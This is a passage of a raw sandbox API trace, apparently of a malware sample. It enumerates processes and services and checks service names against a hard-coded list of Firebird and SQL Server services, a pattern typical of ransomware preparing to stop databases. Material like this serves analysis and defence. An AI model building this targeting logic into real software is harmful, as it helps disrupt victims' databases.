th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.711] lstrlenW (lpString="svchost.exe") returned 11 [0154.711] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0154.711] lstrlenW (lpString="audiodg.exe") returned 11 [0154.711] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.711] lstrlenW (lpString="svchost.exe") returned 11 [0154.711] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0154.712] lstrlenW (lpString="userinit.exe") returned 12 [0154.712] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0154.712] lstrlenW (lpString="explorer.exe") returned 12 [0154.712] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0154.712] lstrlenW (lpString="dwm.exe") returned 7 [0154.712] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.713] lstrlenW (lpString="svchost.exe") returned 11 [0154.713] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0154.713] lstrlenW (lpString="n.exe") returned 5 [0154.713] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0154.713] lstrlenW (lpString="spoolsv.exe") returned 11 [0154.713] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.714] lstrlenW (lpString="svchost.exe") returned 11 [0154.714] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0154.714] lstrlenW (lpString="taskhost.exe") returned 12 [0154.714] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0154.714] lstrlenW (lpString="reader_sl.exe") returned 13 [0154.714] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0154.715] lstrlenW (lpString="rundll32.exe") returned 12 [0154.715] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0154.715] lstrlenW (lpString="n.exe") returned 5 [0154.715] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x374, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0154.715] lstrlenW (lpString="consent.exe") returned 11 [0154.715] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0154.716] lstrlenW (lpString="dllhost.exe") returned 11 [0154.716] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0154.716] CloseHandle (hObject=0x338) returned 1 [0154.716] Sleep (dwMilliseconds=0x1f4) [0155.227] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0155.227] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0155.227] GetLastError () returned 0xea [0155.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0155.227] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0155.228] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0155.228] lstrlenW (lpString="Appinfo") returned 7 [0155.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0155.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0155.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0155.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0155.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0155.228] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0155.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.228] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.228] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.228] lstrlenW (lpString="AudioSrv") returned 8 [0155.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0155.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0155.228] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0155.229] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0155.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0155.229] lstrlenW (lpString="BFE") returned 3 [0155.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.229] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.229] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.229] lstrlenW (lpString="CryptSvc") returned 8 [0155.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.229] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.229] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.229] lstrlenW (lpString="CscService") returned 10 [0155.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0155.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0155.229] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0155.229] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0155.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0155.229] lstrlenW (lpString="DcomLaunch") returned 10 [0155.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.229] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.229] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.229] lstrlenW (lpString="Dhcp") returned 4 [0155.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.229] lstrlenW (lpString="Dnscache") returned 8 [0155.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.230] lstrlenW (lpString="DPS") returned 3 [0155.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.230] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.230] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.230] lstrlenW (lpString="eventlog") returned 8 [0155.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0155.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0155.230] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0155.230] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0155.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0155.230] lstrlenW (lpString="EventSystem") returned 11 [0155.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.230] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.230] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.230] lstrlenW (lpString="gpsvc") returned 5 [0155.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.230] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.230] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.230] lstrlenW (lpString="iphlpsvc") returned 8 [0155.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.231] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.231] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.231] lstrlenW (lpString="LanmanServer") returned 12 [0155.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.231] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.231] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.231] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.231] lstrlenW (lpString="lmhosts") returned 7 [0155.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.231] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.231] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.231] lstrlenW (lpString="MMCSS") returned 5 [0155.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0155.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0155.231] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0155.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0155.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0155.232] lstrlenW (lpString="MpsSvc") returned 6 [0155.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0155.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0155.232] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0155.232] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0155.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0155.232] lstrlenW (lpString="Netman") returned 6 [0155.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0155.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0155.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0155.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0155.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0155.232] lstrlenW (lpString="netprofm") returned 8 [0155.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0155.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0155.232] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0155.232] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0155.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0155.232] lstrlenW (lpString="NlaSvc") returned 6 [0155.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0155.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0155.232] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0155.232] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0155.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0155.232] lstrlenW (lpString="nsi") returned 3 [0155.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0155.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0155.232] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0155.233] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0155.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0155.233] lstrlenW (lpString="PcaSvc") returned 6 [0155.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0155.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0155.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0155.233] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0155.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0155.233] lstrlenW (lpString="PlugPlay") returned 8 [0155.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0155.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0155.233] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0155.233] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0155.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0155.233] lstrlenW (lpString="Power") returned 5 [0155.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0155.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0155.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0155.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0155.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0155.233] lstrlenW (lpString="ProfSvc") returned 7 [0155.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0155.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0155.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0155.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0155.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0155.234] lstrlenW (lpString="RpcEptMapper") returned 12 [0155.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.234] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0155.234] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0155.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0155.234] lstrlenW (lpString="RpcSs") returned 5 [0155.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0155.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0155.234] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0155.234] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0155.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0155.234] lstrlenW (lpString="SamSs") returned 5 [0155.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0155.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0155.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0155.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0155.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0155.234] lstrlenW (lpString="Schedule") returned 8 [0155.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0155.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0155.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0155.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0155.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0155.234] lstrlenW (lpString="SENS") returned 4 [0155.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0155.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0155.234] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0155.234] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0155.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0155.235] lstrlenW (lpString="ShellHWDetection") returned 16 [0155.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.235] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0155.235] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0155.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0155.235] lstrlenW (lpString="Spooler") returned 7 [0155.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0155.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0155.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0155.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0155.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0155.235] lstrlenW (lpString="SysMain") returned 7 [0155.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0155.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0155.235] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0155.235] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0155.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0155.235] lstrlenW (lpString="Themes") returned 6 [0155.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0155.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0155.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0155.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0155.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0155.235] lstrlenW (lpString="TrkWks") returned 6 [0155.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0155.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0155.235] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0155.235] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0155.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0155.236] lstrlenW (lpString="UxSms") returned 5 [0155.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0155.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0155.236] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0155.236] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0155.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0155.236] lstrlenW (lpString="WdiServiceHost") returned 14 [0155.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.236] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0155.236] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0155.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0155.236] lstrlenW (lpString="WdiSystemHost") returned 13 [0155.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0155.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0155.236] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0155.236] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0155.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0155.236] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0155.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0155.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0155.236] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0155.236] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0155.236] lstrcmpiW 